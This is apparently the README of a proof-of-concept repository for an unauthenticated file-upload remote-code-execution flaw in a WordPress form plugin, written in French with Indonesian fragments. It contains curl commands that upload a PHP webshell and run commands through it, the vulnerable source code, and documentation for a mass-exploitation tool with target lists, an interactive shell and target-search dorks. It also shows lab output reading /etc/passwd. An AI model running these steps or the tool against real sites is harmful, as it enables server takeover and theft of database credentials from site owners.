
PoC de détection et d'exploitation pour CVE-2026-118423, un téléversement de fichier non authentifié menant à une RCE dans WP Libre Form <= 1.5.0.1, avec téléversement de webshell, mode massif et configuration d'un environnement de laboratoire.
Statut du plugin : retiré de WordPress.org le 8 septembre 2026 — aucune version corrective. Vérifié : 2026-11-06, laboratoire isolé (WP 6.7.1 / PHP 8.2 / Apache).
Le plugin WordPress WP Libre Form enregistre les fichiers issus des soumissions de formulaire sans aucune validation
du type ou de l'extension. Son gestionnaire est enregistré sur le hook wp_ajax_nopriv_* (sans
authentification) et appelle move_uploaded_file() de manière brute.
Un attaquant sans compte téléverse un fichier .php dans wp-content/uploads/ → fichier accessible via le web →
RCE en tant qu'utilisateur du serveur web (généralement www-data).
# 1. Upload webshell (unauth, tanpa nonce, tanpa login)
curl "http://TARGET/wp-admin/admin-ajax.php" \
-F "action=wplf_submit" -F "_form_id=32" \
-F "[email protected];type=application/x-php;filename=pwn.php"
# -> {"ok":1,"submission_id":55,...}
# 2. Eksekusi
curl "http://TARGET/wp-content/uploads/2026/11/lf_2611060113-0-pwn.php?c=id"
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Type | CWE-434 Téléversement sans restriction de fichier de type dangereux |
| Auth requise | Aucune |
| Interaction utilisateur | Aucune |
| Prérequis | Au moins 1 formulaire wplf-form publié (généralement la page Contact) |
| Impact | RCE — exécution de commandes en tant qu'utilisateur du serveur web |
| CVSS 3.1 | 9.8 (Critique) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Version corrigée | Aucune (plugin fermé par le fournisseur) |
À partir de la RCE, un attaquant peut lire wp-config.php (identifiants de la base de données), accéder au système de fichiers, pivoter vers le réseau interne, ou installer une porte dérobée permanente.
inc/wplf-ajax.php — wplf_ajax_submit_handler() :
add_action( 'wp_ajax_nopriv_wplf_submit', 'wplf_ajax_submit_handler' ); // <-- tanpa auth
foreach ( $_FILES as $key => $file ) {
// Is this enough security wise? <-- diduga sang penulis sendiri
if ( $should_store_images_in_medialibrary ) {
$attach_id = media_handle_upload( $key, 0, ... ); // aman (WP core memfilter)
} else {
$name = 'lf_' . date( 'ymdhs' ) . '-' . $counter . '-' . sanitize_file_name( $file['name'] );
move_uploaded_file( $file['tmp_name'], $uploads_path['path'] . '/' . $name ); // <-- RENTAN
}
}
sanitize_file_name() ne filtre pas les extensions. Il n'y a pas de wp_check_filetype(),
pas de liste blanche/liste noire, pas de vérification MIME.
| # | Endpoint | Auth | Remarque |
|---|---|---|---|
| 1 | POST /wp-admin/admin-ajax.php (action=wplf_submit) | ❌ | toujours disponible |
| 2 | POST /wp-json/wplf/v1/submit | ❌ | nécessite des permaliens jolis |
| 3 | POST /index.php?rest_route=/wplf/v1/submit | ❌ | toujours disponible |
Les chemins 2–3 sont des routes REST enregistrées sans permission_callback —
WordPress lui-même le signale via l'en-tête X-WP-DoingItWrong.
poc.pyDétection + exploitation automatique, en mode menu comme en CLI, en individuel comme en masse.
[1] Single — detect
[2] Single — exploit (upload + verify)
[3] Mass — detect (targets.txt)
[4] Mass — exploit (targets.txt)
[0] Keluar
git clone https://github.com/im0xfay/CVE-2026-118423 && cd CVE-2026-118423
pip install requests
python3 poc.py # menu interaktif
python3 poc.py -u http://TARGET # detect-only (default)
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing
python3 poc.py -u http://TARGET --exploit --i-know-what-im-doing --shell
python3 poc.py --targets targets.txt -t 10 -o hasil.json
| Flag | Fonction |
|---|---|
-u, --url | cible (répétable) |
--targets FILE | liste de cibles, une par ligne |
--exploit | activer l'upload (destructif) — nécessite --i-know-what-im-doing |
--i-know-what-im-doing | confirmation explicite pour --exploit |
--shell | shell interactif après RCE |
--endpoint | forcer le chemin : auto / ajax / rest / rest_query |
--field | nom du champ fichier (par défaut : auto-probe 6 candidats) |
--tz-offset | décalage timezone du serveur (heures) ; par défaut auto-sweep |
--cmd-param | nom du paramètre de commande du webshell (par défaut c) |
-t, --threads | threads pour le mode mass |
-o, --json-out | enregistrer les résultats en JSON |
-q, --quiet | afficher uniquement VULN/RCE |
-v, --verbose | afficher chaque requête |
| Tag | Signification |
|---|---|
RCE | upload et exécution vérifiés (uid= lu depuis le webshell) |
VULN | primitive unauth prouvée / fichier uploadé mais exécution non confirmée |
INFO | plugin détecté mais aucun formulaire publié |
CLEAN | plugin non détecté |
UNKNOWN | la cible ne répond pas |
Reproduction complète en lab — sortie réelle :
$ python3 poc.py -u http://127.0.0.1:8096 --exploit --i-know-what-im-doing
RCE http://127.0.0.1:8096 v1.5 [ajax] shell=http://127.0.0.1:8096/wp-content/uploads/2026/11/lf_2611060113-0-lf-poc-4w54cm7nbb.php
- route wplf/v1/submit tanpa permission_callback (X-WP-DoingItWrong)
- form 32 reachable via ajax
- time-anchor: server Date header
- exec: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Preuves objectives (et non de simples marqueurs) :
$ curl "<shell>?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "<shell>?c=head%20-2%20/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
./scripts/fetch-source.sh # ambil source plugin rentan (tidak disertakan di repo)
./scripts/lab-up.sh # bangun lab: WP 6.7.1 + MySQL 8 @ 127.0.0.1:8096
python3 poc.py -u http://127.0.0.1:8096
./scripts/lab-down.sh # matikan
Nécessite Docker. Le script utilise docker run simple (pas docker compose).
lab/docker-compose.yml est fourni comme référence alternative si le
plugin compose est disponible.
poc.py tool utama (deteksi + eksploitasi)
CVE-2026-118423-report.md laporan lengkap (8 seksi)
README.md dokumen ini
DISCLAIMER.md penggunaan yang sah & risiko
SECURITY.md kebijakan pelaporan kerentanan
LICENSE MIT
docs/
root-cause.md analisis source + bukti dari lab
exploit-chain-verified.md rantai eksploitasi yang terverifikasi end-to-end
bypass-analysis.md teknik ekstensi yang diuji, + hasilnya
self-attack.md 10 mode kegagalan & mitigasinya
fofa-dorks.md dork pencarian target
run-log.md log riset + bug yang ditemukan